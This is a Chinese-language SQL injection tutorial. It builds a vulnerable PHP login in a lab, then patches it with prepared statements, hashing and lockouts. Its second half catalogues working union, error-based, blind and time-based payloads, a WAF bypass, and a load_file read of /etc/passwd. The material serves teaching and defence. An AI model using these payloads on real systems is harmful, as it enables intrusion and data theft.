SQL注入

环境准备

  1. Linux准备一套xampp
  2. vscode利用remote development进行远程编写代码
  3. lampp下载htdocs创建代码目录
  4. 编写login.html login.php welcome.php
<!--login.html-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>login</title>
    <style>
        * {
            margin: 0;
            padding: 0;
        }
        html {
            height: 100%;
        }
        body {
            height: 100%;
        }
        .container {
            height: 100%;
            background-image: linear-gradient(to right, #fbc2eb, #a6c1ee);
        }
        .login-wrapper {
            background-color: #fff;
            width: 358px;
            height: 588px;
            border-radius: 15px;
            padding: 0 50px;
            position: relative;
            left: 50%;
            top: 50%;
            transform: translate(-50%, -50%);
        }
        .header {
            font-size: 38px;
            font-weight: bold;
            text-align: center;
            line-height: 200px;
        }
        .input-item {
            display: block;
            width: 100%;
            margin-bottom: 20px;
            border: 0;
            padding: 10px;
            border-bottom: 1px solid rgb(128, 125, 125);
            font-size: 15px;
            outline: none;
        }
        .input-item:placeholder {
            text-transform: uppercase;
        }
        .btn {
            text-align: center;
            padding: 10px;
            width: 100%;
            margin-top: 40px;
            background-image: linear-gradient(to right, #a6c1ee, #fbc2eb);
            color: #fff;
            border-style: none;
        }
        .msg {
            text-align: center;
            line-height: 88px;
        }
        a {
            text-decoration-line: none;
            color: #abc1ee;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-wrapper">
            <div class="header">登录</div>
            <form action="./login.php" method="POST">
                <div class="form-wrapper">
                    <input type="text" name="username" placeholder="username" class="input-item">
                    <input type="password" name="password" placeholder="password" class="input-item">
                    <input type="text" name="vcode" placeholder="vcode" class="input-item">
                    <button type="submit" class="btn">登录</button>
                </div>
            </form>
        </div>
    </div>
</body>
</html>
// login.php
<?php

$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
// 万能验证码 违背了OWASP-认证和授权失败
if($vcode!='0000'){
    die('vcode-error');
}

$conn = mysqli_connect('192.168.159.128','root','duyun','learn') or die("数据库连接失败");
mysqli_query($conn,'set names utf8');

// 以下代码没有进行预防密码爆破,违背了OWASP-认证和授权授权
$sql = "select * from users where username='$username' and password='$password'";
$result = mysqli_query($conn,$sql);
if(mysqli_num_rows($result) ===1){
    echo 'login-pass';
    // 失效的访问控制 不登录也可以访问该网址
    echo "<script>location.href = 'welcome.php'</script>";
}else{
    echo "login-fail";
}
mysqli_close($conn);
?>

简单的sql注入测试

注入类攻击核心点

  • 拼接为有效的语句或代码
  • 确保完成闭合,并且可以改变原有执行逻辑

通常并非一下就可以完成拼接和闭合,需要不断尝试 建议使用脚本+字典

在登录框输入 username=['] password=ddd vocde=0000

Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /opt/lampp/htdocs/php/login.php on line 17
login-fail

以上响应可能存在以下两个威胁:
1.单引号可以成功引起SQL语句报错,进行了执行带有'的sql语句,后台没有对单引号处理
select * from users where username=$username and password=$password
正常情况:select * from users where username='w'and password='123456'
攻击情况:select * from users where username=''' and password='123456'
username:'x or id = 1 # 

2.敏感目录暴露 
/opt/lampp/htdocs/php/login.php 代码的绝对路径

登录漏洞-修复

对于上述登录页面发现6个漏洞

1.welcome.php 皆可以访问 没有进行登录判断(中)
2.'作用用户名,报错信息中存在敏感信息,暴露代码的绝对路径(低)
3.保存在数据库的密码是明文存储,不够安全(中)
4.登陆页面可以进行sql注入,轻易的实现登录(高)
5.login.php中使用了万能验证码(中)
6.登录功能可以被爆破,没有进行爆破防护(中)

登录模块各类防护措施

验证码:不建议图片验证码

登录次数限制,并记录IP

多因素认真:账号密码分离

记录用户常用IP地址区域

使用session token

Python进行FUZZ测试

import requests

def login_fuzz(url):
    data = {'username': "'", 'password': '1234356', 'vcode': '0000'}
    resp = requests.post(url=url, data=data)
    if 'Warning' in resp.text:
        print("可能存在sql注入,'被查询语句执行")
        # 存在利用嫌疑,继续利用,  代替字典,进行写login_payload
        # 字典文件可以自己进行积累!!!
        payload_list = ["x' or id=1#","x' or id=2#", "x' or uid=1#","x' or uuid=1#","x' or userid=1#"]
        for username in payload_list:
            data = {'username': username, 'password': '1234356', 'vcode': '0000'}
            resp = requests.post(data=data,url=url)
            if "login-fail" not in resp.text:
                print(f"登录成功,payload为{username}")
    else:
        print("通过试探,发现登录网站对'不敏感")


if __name__ == '__main__':
    login_fuzz('http://192.168.159.128/php/login.php')

任意访问授权页面

无论用户是否登录,都可以访问原先要登录成功才能访问的页面

<?php
    //common.php添加 session_start(),让其他页面引用 便于直接使用
    //welcome/php修改
    include "./commen.php";
    if(!isset($_SESSION['islogin']) or $_SESSION['islogin'] !== 'true'){
        echo "<script>alert('没有进行登录')</script>";
        echo '<script>location.href="./login.html"</script>';
    }
    echo "欢迎到来";
	//login.php存储session信息
	if(mysqli_num_rows($result) ===1){
        echo 'login-pass';
        $_SESSION['username']=$username;
        $_SESSION['islogin'] = 'true';
        // 失效的访问控制 不登录也可以访问该网址
        echo "<script>location.href = 'welcome.php'</script>";
    }else{
        echo "login-fail";
    }
?>

修复暴露文件路径

当用户输入 ’ 时会引起后台报错,将代码的绝对路径输出 暴露出敏感信息

//login.php的执行SQL添加
$result = mysqli_query($conn,$sql) or die("SQL语句执行失败");

修改用户表密码明文

使用md5函数

$source = 'hdsah';
echo md5($source);

// users表中的password字段必须是32+
// 用户注册时,必须使用md5函数对password加密

SQL注入防护

以编写的登录界面为例!

  • 从代码和SQL语句的逻辑层面进行考虑,不轻易让密码对比失效
  • 基于将用户输入的引号进行转义处理的前提,使用addslashes强制转义
  • mysqli的预处理方式也可以预防SQL注入

开启MySQL临时日志

use mysql;
set global log_output = 'TABLE';
set global general_log = 'ON';

# 查看一下
show variables like 'general_log';

面向对象操作mysqli

// 面向对象的mysql连接
function create_connection_oop(){
    $conn = new mysqli('192.168.159.128','root','duyun','learn')or die("数据库连接失败");
    $conn->set_charset('utf-8');
    return $conn;
}
// 执行sql语句
function exe_sql($sql){
    $conn = create_connection_oop();
    $result = $conn->query($sql);
    // 获取结果集的行数
    // echo $result->num_rows;
    // 获取结果集的数组
    $row = $result->fetch_assoc();
    var_dump($row);
}

登录逻辑问题

// 以下代码没有进行预防密码爆破,违背了OWASP-认证和授权授权
// 该sql语句在登录时本身就存在严重的漏洞,用户名和密码不应该放在同一个SQL查询语句中
// 应该先通过用户名查询users表,如果确实找到一条记录然后重新对密码进行单独对比
// $sql = "select * from users where username='$username' and password='$password'";
// login.php
$sql = "select * from users where username='$username'";
$result = mysqli_query($conn,$sql) or die("SQL语句执行失败");
if(mysqli_num_rows($result) ===1){
    $row = mysqli_fetch_assoc($result);
     if($row['password']===$password){
        echo 'login-pass';
        $_SESSION['username']=$username;
        $_SESSION['islogin'] = 'true';
        // 失效的访问控制 不登录也可以访问该网址
        echo "<script>location.href = 'welcome.php'</script>";
     }else{
        echo "login-fail";
        // echo 'password-fail'; 尽量不要暴露过多信息 这样对于爆破更加困呐
     }
}else{
    echo "login-fail";
}

addslashes函数

addslashes函数可以将字符串的单引号、双引号、反斜杠、NULL值自动添加转义字符,从而防止SQL注入中对单引号 双引号的预防

//login.php修改
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);

//原始sql语句:
select * from users where username='$username' and password='$password';
//用户输入 x'or id=1# 时
select * from users where username='x'or id=1#' and password='$password';
//使用addslashes函数上述sql语句变为  '分隔符变为字符串  x\'or id=1#\'==用户名
select * from users where username='x\'or id=1#\'' and password='$password';

mysqli预处理

也是将字符串的单引号、双引号、反斜杠、NULL值自动添加转义字符,从而防止SQL注入中对单引号 双引号的预防

基本操作

// mysqli预处理(面向对象)
function mysqli_prepare_opp(){
    $conn = create_connection_oop();
    // ? 是在预处理语句中的代替参数 一个参数一个? 
    // $sql = "select * from users where username=?";
    $sql ="update users set username=? where id=?";
    // 实例化预处理对象
    $stmt = $conn->prepare($sql);
    // 实例化后需要将参数值进行绑定并在执行时替换
    // bind_param  第一个参数数据类型 i 整数  s 字符串  d 小数  b 二进制
    $stmt->bind_param('si',$username,$id);
    $username = 'duyun';
    $id = 1;

    // 正式执行语句 返回的是一个布尔值
    // 如果是更新类操作 如update insert delete 执行后不需要其他操作没有问题
    $stmt->execute();
    $conn->commit();//默认情况下会自动提交 也可以手动处理

    
    
     // 如果是查询类操作 select 单纯只是执行无法取得查询的结果的,需要进行结果绑定
    $sql = "select * from users where username=?";
    $stmt->prepare($sql);
    $stmt->bind_param('s',$username);
    $username = 'duyun';
    //  绑定结果
    $stmt->bind_result($id,$username,$password);
    $stmt->execute();
    // 调用结果并进行处理
    $stmt->store_result();
    // 打印行数
    echo $stmt->num_rows.'<br/>';
    // 打印结果集
    while($stmt->fetch()){
        echo $id,$username,$password.'<br/>';
    }
}

预防sql注入

//在login.php修改
$conn = create_connection_oop();
$sql = 'select username,password from users where username=?';
// 实例化预处理对象
$stmt = $conn->prepare($sql);
// 绑定参数
$stmt->bind_param('s',$username);
$username= $_POST['username'];
// 绑定结果集
$stmt->bind_result($username,$password);
$stmt->execute();
// 调用结果并进行处理
$stmt->store_result();
if($stmt->num_rows ===1){
    // 获取结果 $username $password
    $stmt->fetch();
    if($password === $_POST['password']){
        echo 'login-pass';
        $_SESSION['username']=$username;
        $_SESSION['islogin'] = 'true';
        // 失效的访问控制 不登录也可以访问该网址
        echo "<script>location.href = 'welcome.php'</script>";
    }else{
        echo "login-fail";
    }
}else{
    echo "login-fail";
}
$conn->close();

万能验证码

验证码生成原理

核心目的就是确保人在使用系统。图片验证码、拖动验证码、拼图验证码、等等

图片验证码原理:

  • 随机生成字符
  • 使用图片进行展示
  • 尽量让文字变形,并生成各类扰乱图像

验证码生成

vcode.php,基于PHP绘制基础图片生成验证码,将验证码保存在session中

<?php
// 客户端已经获取Session_ID时,只要通过HTTP请求中的cookie字段将其发给服务器 服务器不会再生成session_ID
session_start();

getCode();


// 生成图片验证码  验证码长度 验证码宽度 验证码高度
function getCode($vlen = 4,$width=80,$height=25){
    // 定义响应类型为png图片  默认是html
    header('content-type:image/png');

    // 生成随机验证码字符串 保存在session中
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    // str_shuffle 打乱顺序 截取前四个
    $vcode = substr(str_shuffle($chars), 0, $vlen);
    // 将生成的随机验证码字符串保存到Session变量中,供登录后对比
    $_SESSION['vcode'] = $vcode;
    // 调用setcookie函数生成自定义Cookie,Cookie是保存在客户端,服务器端本身不保存
    // setcookie("vcode", $vcode, time()+3600*24*30*12);    

    // 定义图片并设置背景色RGB为:100,200,100
    $image = imagecreate($width,$height);
    $imgColor = imagecolorallocate($image,100,200,200);

    // 以RGB=0, 0, 0的颜色绘制黑色文字
    $color = imagecolorallocate($image,0,0,0);
    imagestring($image, 5, 20, 5, $vcode, $color);

    // 生成一批随机位置的干扰点
    // for($i=0; $i<50; $i++){
    //     imagesetpixel($image, rand(0,$width), rand(0,$height), $color);
    // }

    // 输出图片验证码,并将其在内存的数据销毁
    imagepng($image);
    imagedestroy($image);
}
?>

取消万能验证码

if(strtolower($_SESSION['vcode']) !== strtolower($vcode)){
    die('vcode-error');
}

验证码不一定非要存在session中,任何可以存储数据的方式均可以:

数据库、文件、内存中

Redis缓存服务器中:短信验证码,使用redis缓存并设置key的过期时间

session验证码存在漏洞

当验证码存在session时,每一次刷新登录页面验证码才会改变
如果使用python、burp、fiddler等直接发送登录请求,此时验证码再session会保持最后一个,从而只需要在发送请求的时候将验证码设置为最后一个即可,如下图

image-20220904195917437

验证码使用一次就要清空,不可以重复使用

session验证码防护措施

//不区分大小写  保留万能验证码 方便调试
if($vcode!='0000' and strtolower($_SESSION['vcode']) !== strtolower($vcode)){
    die('vcode-error');
}else{
    // 验证码成功后清空验证码
    unset($_SESSION['vcode']);
    // $_SESSION['vcode'] = ''; // 不能直接设置为空字符串 否则也可以在请求上提交一个空值 进行爆破
}
// unset($_SESSION['vcode']); // 无论验证码是否正确 每次提交一次都会清空一次 但是会增加服务器负担

避免使用cookie验证码

session生成过程:当用户第一次访问服务器时,如果请求中没有cookie字段,则服务器会在首次调用session_start()的页面中响应一个session ID;接下来,后续每一个请求都会在请求头的cookie字段携带着sessionID,目的是告诉服务器我是谁

可以在服务器端直接手工生成cookie

cookie是由客户端保存,服务端利用cookie进行验证码验证没有任何实际价值 客户端可以随便的更改cookie的vcode;而session的值保存在服务器端 返回客户端一个sessionid

验证码识别

  • 机器学习
  • python第三方库
  • 百度API

登录次数爆破预防

可以根本上防止暴力破解

  • 需要在数据库记录某个用户的登录失败的次数,每失败一次+1
  • 需要在数据库记录某个用户的最后一次登录时间,用于判断是否接触限制
  • 每次登录,只要用户存在,都需要从数据库里面取得上述两个值进行判断

基础

// php中操作时间
date_default_timezone_set("PRC");//设置默认时区为中国
date('Y-m-d H-i-s');//年月日时分秒
echo (strtotime($time1)-strtotime($time2));//比较时间差值

//sql操作时间
SELECT TIMESTAMPDIFF(MINUTE,lasttime,NOW()) FROM users WHERE id=1;

代码修改

$conn = create_connection_oop();
$sql = 'select username,password,failcount,TIMESTAMPDIFF(MINUTE,lasttime,NOW()) from users where username=?';
// 实例化预处理对象
$stmt = $conn->prepare($sql);
// 绑定参数
$stmt->bind_param('s',$usernames);
$usernames= $_POST['username'];
// 绑定结果集
$stmt->bind_result($username,$password,$failcount,$timediff);
$stmt->execute();
// 调用结果并进行处理
$stmt->store_result();
if($stmt->num_rows ===1){
    // 获取结果 $username $password
    $stmt->fetch();

    // 判断密码之前 判断登录次数是否受限并且时间上是否可以zai
    if($failcount>=5 and $timediff<=60){
        die("用户被锁定");
    }

    if($password === $_POST['password']){
        if($failcount>0){
            $sql = "update users set failcount = 0 where username=?";
            $stmt->prepare($sql);
            $stmt->bind_param('s',$username);
            $stmt->execute();
            $conn->commit();
        }
        echo 'login-pass';
        $_SESSION['username']=$username;
        $_SESSION['islogin'] = 'true';
        // 失效的访问控制 不登录也可以访问该网址
        echo "<script>location.href = 'welcome.php'</script>";
    }else{
        // 登录错误次数加一 获取最后一次登录错误的时间
        $sql = "update users set failcount = failcount+1,lasttime=now() where username=?";
        $stmt->prepare($sql);
        $stmt->bind_param('s',$username);
        $stmt->execute();
        $conn->commit();
        echo "password-fail";
    }
}else{
    echo "user-invalid";
    echo "<script>location.href = 'login.html'</script>";
}
$conn->close();

SQL注入类型

①数字型注入点

在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为

select * from 表名 where id=1
组合出来的sql注入语句为:select * from news where id=1 and 1=1

检验是否存在注入

  • and 1=1 正常显示 and 1=2 非正常显示
  • or 1=1 or 1=2
  • xor 1=1 xor 1=2
  • like 1 like 2
  • 单引号、双引号、减号

②字符型注入点

在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为

select * from 表名 where name='admin'注意多了引号。 input 'and 1=1'
组合出来的sql注入语句为:select * from news where chr='admin 'and 1=1' '

检验是否存在注入

  • 有时候–+和#或被过滤掉 可以考虑使用#的url编码后的(首先考虑可以)

  • 'and 1=1 # 'and 1=2 # === ’ and 1=1 %23 ’ and 1=2 %23

  • 'and 1=1 --+ 'and 1=2 --+

  • 等等

③搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:

select * from 表名 where 字段 like '%关键字%'`。

组合出来的sql注入语句为:
select * from news where search like '%测试 %'and'%1%'='%1 %'

测试%' union select 1,2,3,4 and '%'='

检验是否存在注入

  • %‘and’%1%‘=’%1

注入点寻找

大部分针对字符型

一般情况就是使用 ,正常显示说明是闭合了,可以在

  1. and 1=1、and 1=2
  2. or 1=1
  3. 单引号 #
  4. 双引号 #
  5. 单引号+括号*n #
  6. 双引号+括号*n or 1 #
  7. 单引号 or 1 #
  8. 双引号 or 1 #
  9. 单引号+括号*n or 1 #
  10. 双引号+括号*n or 1 #
where id = '{$i}' # 闭合  '--+
where id = "{$i}" # 闭合  "--+
where id = ('{$i}') # 闭合 ') --+
(...where id =('{$i}'))  # 闭合 ')) --'

SQL注入手法

  • union query SQL injection 联合查询注入
  • Error-based SQL injection 错误注入
  • Boolean-based blind SQL injection 基于布尔的盲注
  • Time-based blind SQL injection 基于时间的盲注
  • Stacked queries SQL injection 可多语句查询注入
  • 等等

联合注入

基于union进行查询,union查询前提前提:前者后者查询的列数相等

步骤

1、判断是否存在注入点

通过 and 1=1、and 1=2 或 ’ 或 " 等等判断手段判断是否存在注入点,结果不一致、报错等说明数据库执行了输入的语句,存在注入点

2、判断注入类型

根据回显内容来判定输入点的数据类型,数字型、字符型、搜索型

3、确定当前表的列数

order by本质是一个排序的语法,基于order by的前提条件实现对列数的探测:排序必须建立在正确的主查询语句上,即列要存在,确认主查询的列数,确保union select的查询和主查询列数一致。超过主查询列数order by就会报错,后面参数可以跟列名或者第几列

?id=1 order by 6 --+ 
4、确认页面回显

确定之前要把本来的页面至不显示

union select 查询,并把主查询参数改为负数,让其无法回显

# union 联合查询前提:列数相等
select * from user where id = -1 union select 1,2,3,4,5,6
# select 1,2,3,4,5,6 会按照列的顺序依次列出,select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组,和原来属性值一一对应
5、查询数据库信息

在回显的数字位置替换查询语句:user()、database()、version()

select * from user where id = -1 union select 1,user(),database(),version(),5,6
6、所有数据库的名字
id=-1 union select 1,group_concat(distinct(table_schema)),3 from information_schema.tables
7、主数据库中表名

方法一:使用 ' and exists(select col_name from table_name) --+ ,使用 bp+字典 爆破

方法二

id=1 union select 1,group_concat(table_name),3 from information_schema.tables  where table_schema=database()--+
  • group_concat(table_name):获得主数据库中所有表的名称
  • information_schema.tables:存放着所有的表的名称的表(所属不同数据库)
  • table_schema=database():标识着选择所属数据库为当前数据库的表
8、表中的字段

方法一:使用 ' and exists(select col_name from table_name) --+ ,使用 bp+字典 爆破

方法二

id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table.schema='security' and table_name='users'
  • group_concat(column_name):获得所有的字段名
  • information_schema.columns:存放着所有的字段名(所属不同数据库)
  • table.schema=‘security’ and table_name=‘users’:限制数据库的名称 和 表的名称
9、字段所对应数据
id=1 union select 1,group_concat(id,'--',username,'--',password),3 from users --+
进阶用法
# 第一个参数指定连接符
select concat_ws('==',username,password)as useinfo from user;
# 配合group_concat()
select group_concat(concat_ws('==',username,password)) from user;
# 完整取得数据后,可以使用python对字符串切分

# 绕过:十六进制代替单引号
mysql中将字符串转为16进制 select hex('learn') 
where table_schema=0x....

union注入不适用

  • 注入语句无法截断,不清楚完整的SQL查询语句
  • 页面没有回显查询信息
  • web页面中有两个SQL查询语句且语句查询的列数不同

防护

  • addslashes函数
  • 判断参数长度,一般来说一个ID不会太长
  • 对输入过滤,如information_schema、union、select等

报错注入

BigInt数据类型溢出

exp(int)函数返回e的x次方,当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错:“DOUBLE value is out of range”

例如:

?id=1 and exp(~(select * from (select user())a)) --+
# 先查询select user()这个语句的结果,然后将查询出来的数据作为一个结果集取名为a
# 然后在查询select * from a 查询a,将结果集a全部查询出来
# 查询完成,语句成功执行,返回值为0,再取反(~按位取反运算符),exp调用的时候e的那个数的次方,就会造成BigInt大数据类型溢出,就会报错

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

检索数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

读取文件

select exp(~(select*from(select load_file('/etc/passwd'))a));  

MySQL处理XML

<root>
    <meta name="description">我在作测试</meta>
    <element name="节点1">
        <child name="子节点1">子节点1值</child>
    </element>
    <element name="节点2">
        <child name="子节点2">子节点2值</child>
    </element>  
</root>

-- 查询xml中指定节点内容
select extractvalue(textxml,'/root/element/child[@name="子节点2"]')FROM testxml;
-- 更新xml指定节点内容
update testxml set textxml=updatexml(textxml,'/root/element/child[@name="子节点2"]','<child>子节点二</child>');

updatexml函数传参错误

将Xpath_string的值传递成不符合格式的参数,mysql就会报错

updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)

XML_document:是字符串String格式,为XML文档对象名称

Xpath_string:XML的路径(显出出来

new_value:string格式,替换查找到的符合条件的数据

1、查询用户、数据库版本、使用的数据库、数据库位置

and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e,database(),0x7e,,0x7e),3) --+

2、查询表的名称

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1),0x7e),3) --+

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),3) --+

<!--
limit 0,1
  limit 0,1 是获得的第一个表的名字
  可以自增0至不显示,找到所有的表名
-->

3、查询表中列的名字

and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1),0x7e),3) --+
<!--
可以修改limit 0,1
  limit 0,1 是获得的第一个列的名字
  可以自增0至不显示或者重复显示,找到所有的列名

table_name要对行所查询的表
-->

4、查询列的具体信息

and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+  |  #  |  %23
and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+

<!--
字段名和表名要根据具体修改  limit 0,1 可修改查看其他
-->

extractvalue函数传参错误

extractvalue()函数语法:extractvalue(XML_document,XPath_string)

XPath_string:回显信息,代表着xml的路径

和 updatexml用法相似,不过仅传入两个参数

主键重复(冲突)

利用的函数:floor()+rand()+group()+count()

rand():随机函数,产生0-1的随机数,若已指定一个整数参数 N ,则它被用作种子值,用来产生重复序列。

floor():floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整

floor(rand(0)*2) --> 得到每次相同得随机序列

group by:进行分组排序相同名字合并,会加载一个虚拟表

mysql> select name,age from ying group by name;
+------+------+
| name | age  |
+------+------+
| yu   |   60 |
| yun  |  530 |
+------+------+
2 rows in set (0.00 sec)

count():重复性的数据进行整合,然后计数

mysql> select name,count(*)count, age from ying group by name;
+------+-------+------+
| name | count | age  |
+------+-------+------+
| yu   |     1 |   60 |
| yun  |     2 |  530 |
+------+-------+------+
2 rows in set (0.00 sec)

利用 select count(*),(floor(rand(0)*2)) x from users group by x这个相对固定的语句格式,导致的数据库报错

(floor(rand(0)* 2)) x 等价于 (floor(rand(0)* 2)) as x 起别名

报错原因:floor(rand(0)*2)多次执行(查询group by、插入 insert 都会执行一次 )

select count(*) from user group by floor(rand(0)*2);

具体分析原因

使用 group by 分组时会生成一张虚拟表,group by后面的字段作为主键,而且group by要进行两次运算:第一次是把后面的值和虚拟表里面的值对比,首先获取group by后面的值;第二次是假设group by后面的值在虚拟表中不存在,要把值插入虚拟表中,此时也需要进行一次运算

select count(*) from user group by floor(rand(0)*2);

上述语句就floor(rand(0)*2)作为主键,而且rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误

(img-DiaEzx54-1663688210971)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20220906181919396.png)]

and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a)--+

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

and (select 1 from (select count(*)  from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x7e,floor(rand(0)*2)))a)--+

盲注

盲注适用场景:没有任何回显的时候(没有报错的、联合的回显)

一些经常使用的函数

length() # 返回查询字符串的长度
mid(column_name,start,length) # 截取字符串
substr(string,start,length)# 截取字符串 从1开始
left(string,n)# 截取字符串
ord()# 返回ASCII码
ascii()# 根据ASCII码返回字符

基于布尔的盲注

基于真假进行判断,不管输入什么只有真或者假两种形式(显示或者不显示)

关键点在于通过表达式结果与已知值进行比较,根据比对结果判断正确与否

1、判断当前数据库类型

用下面的语句判断数据库类型,哪个页面正常显示就是那个数据库

<!--判断是否是 Mysql数据库-->
?id=1'and exists(select * from information_schema.tables)--+
<!--判断是否是 access数据库-->
?id=1'and exists(select * from msysobjects)--+
<!--判断是否是 Sqlserver数据库-->
?id=1'and exists(select * from sysobjects)--+

2、判断数据库名

1:判断当前数据库的长度,利用二分法
?id=1' and length(database())>5 --+  //正常显示
?id=1' and length(database())>10 --+  //不显示任何数据
?id=1' and length(database())>7 --+  //正常显示
?id=1' and length(database())>8 --+  //不显示任何数据

  #大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符

2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>115 --+ //115为ascii表中对应字母s
//判断数据库的第二个字符
?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security

3、判断数据库表名

//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+

3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

4、判断数据库表字段名

//如果已经证实了存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) 

1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+

2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度   
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+

3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........

由此可判断出users表中存在 id、username、password 字段

5、判断数据库字段具体值

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据

1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+

2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

由此可见,布尔盲注手工注入过于繁琐,可以借助工具

基于时间的盲注

延时注入。观察页面发现既没有回显数据库内容,也没有报错信息,又没有布尔类型状态,就要使用延时注入。

less-9中,在id=1后面加入单引号 双引号页面都没有发生任何变化,考虑延时注入

1、判断是否存在延时注入

输入:?id=1'and sleep(5) --+;观察请求线,大约5秒以上说明语句生效,可进行延时注入

2、获取数据库名字

?id=1' and if(length(database())=7,sleep(5),0) --+
    数据库名字长度
?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+
?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+
......
    如果进行5s的延时,说明数据库的名称的首字母是s,
    然后逐个判断后面的

3、和布尔注入一样猜数-表的个数-表的长度-表的名字-字段个数-字段长度-字段名字-字段具体值

延时注入可以绕过WAF,payload:

'and(select*from(select+sleep(4))a/**/union/**/select+1)='

更新注入

所有更新类的操作都不回显信息,所以无法像查询一样使用联合注入,核心:报错注入

update users set username = 'xx   
'or updatexml(1,concat(0x7e,database(),0x7e),1) or'    # payload 要闭合
' WHERE id =1;

insert users (username,password) values ('xx      
'or updatexml(1,concat(0x7e,database(),0x7e),1) or' # payload 要闭合
','xxx')where id=1

delete from users where id=1 
or updatexml(1,concat(0x7e,database(),0x7e),1) # payload 

